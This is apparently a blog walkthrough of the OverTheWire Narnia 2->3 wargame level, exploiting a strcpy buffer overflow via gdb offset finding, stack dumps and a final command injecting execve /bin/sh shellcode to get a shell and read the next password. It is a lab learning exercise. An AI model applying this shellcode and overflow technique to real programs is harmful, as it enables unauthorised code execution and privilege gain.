Overthewire.org - Narnia 2 -> 3


What about another challenge in reverse engineering? Anywhere, anytime!

Challenge

As always, let's start from viewing the source code.

int main(int argc, char * argv[]){
char buf[128];

if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);

return 0;
}

Okay, now let's run it.

[email protected]:/narnia$ ./narnia2
Usage: ./narnia2 argument
[email protected]:/narnia$ ./narnia2 ARGUMENT
[email protected]:/narnia$

As in the source code, we see that if argument is not passed, then usage instructions are printed, otherwise value of argument is printed on the next line. In addition, source code gives us information that char buf is 128 bytes in size. Let's try to trigger the segmentation fault.

[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 140")
Illegal instruction
[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 141")
Segmentation fault

Hmm, that's interesting. After trying different amounts of A letters, I've noticed that by writing 140 of them, we will get Illegal instruction message, but 141 letters end up with our desired Segmentation fault. Maybe gdb will tell us something more?

[email protected]:/narnia$ gdb ./narnia2
(gdb) break *main
Breakpoint 1 at 0x804845d

Firstly let's investigate the illegal instruction option.

(gdb) run $(python -c "print 'A' * 140")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 140")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGILL, Illegal instruction.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) c
Continuing.

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.

Unfortunately after doing some research I've found out that SIGILL won't help us much. What we have to try is to overwrite the instruction pointer.

(gdb) run $(python -c "print 'A' * 144")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 144")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Luckily, adding only 3 more A's overwrote the pointer. But here comes another problem, what is its address?

We can try to find out by writing around B's at the end. Let's see.

(gdb) run $(python -c "print 'A' * 138 + 'B' * 6")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 138 + 'B' * 6")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/200x $esp
0xffffd7f0: 0x00000000 0x00000000 0xb7000000 0x9449f175
0xffffd800: 0xb7857a44 0x6da4653e 0x69a15cf3 0x00363836
0xffffd810: 0x00000000 0x6d61672f 0x6e2f7365 0x696e7261
0xffffd820: 0x616e2f61 0x61696e72 0x41410032 0x41414141
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd8b0: 0x41414141 0x42424242 0x58004242 0x535f4744

Great! EIP address is 0xffffd8b3. Now we have to find a way to use shellcode from previous challenge. But firstly, let's find its length.

[email protected]:/narnia$ python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

25 bytes. As our string have to be 144 bytes in length, I'll firstly write 112 bytes of A letters, then 25 bytes of our shellcode and then overwrite the EIP with memory address somewhere in the middle of A's. Let's try it out!

(gdb) run $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'B' * 4")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'B' * 4")

(gdb) x/200x $esp
0xffffd7f0: 0x00000000 0x00000000 0x4d000000 0x2bdc9c96
0xffffd800: 0xd596f713 0x775b1954 0x6969a442 0x00363836
0xffffd810: 0x00000000 0x6d61672f 0x6e2f7365 0x696e7261
0xffffd820: 0x616e2f61 0x61696e72 0x41410032 0x41414141
0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd890: 0x41414141 0x41414141 0xc0314141 0x2f2f6850
0xffffd8a0: 0x2f686873 0x896e6962 0x89c189e3 0xcd0bb0c2
0xffffd8b0: 0x40c03180 0x424280cd 0x58004242 0x535f4744
0xffffd8c0: 0x49535345 0x495f4e4f 0x30323d44 0x33323431
0xffffd8d0: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162
0xffffd8e0: 0x52455400 0x74783d4d 0x2d6d7265 0x63363532
0xffffd8f0: 0x726f6c6f 0x48535300 0x494c435f 0x3d544e45
0xffffd900: 0x362e3938 0x36312e34 0x3732312e 0x30333320
0xffffd910: 0x32203434 0x53530032 0x54545f48 0x642f3d59
0xffffd920: 0x702f7665 0x342f7374 0x434c0033 0x4c4c415f

Great, we can see that even with the shellcode B's overwrote the EIP. Now let's try it with the actuall address - somewhere in the middle of the A letters. Maybe 0xffffd863?

[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\x63\xd8\xff\xff'")
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3

And we've got the password to the next level!

Conclusion

The challenge was awesome, but really time consuming. It was worth every minute as I learned a lot from trying out these different ways to finish this level. Thanks OverTheWire!

Keep learning and stay safe! ~ W3ndige